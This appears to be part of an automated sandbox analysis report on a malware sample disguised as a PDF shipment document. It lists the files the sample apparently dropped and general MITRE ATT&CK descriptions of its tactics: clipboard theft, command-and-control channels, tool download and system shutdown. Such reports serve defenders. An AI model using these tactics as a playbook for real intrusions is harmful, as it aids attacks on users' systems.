C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\run.dat

C:\Users\user\AppData\Roaming\11389406-0377-47ED-98C7-D564E683C6EB\settings.bin

Windows Analysis Report
Original Shipment_Document.PDF.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries.
Tactics:	Command and Control
Data Sources:	Network intrusion detection system, Network protocol analysis, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre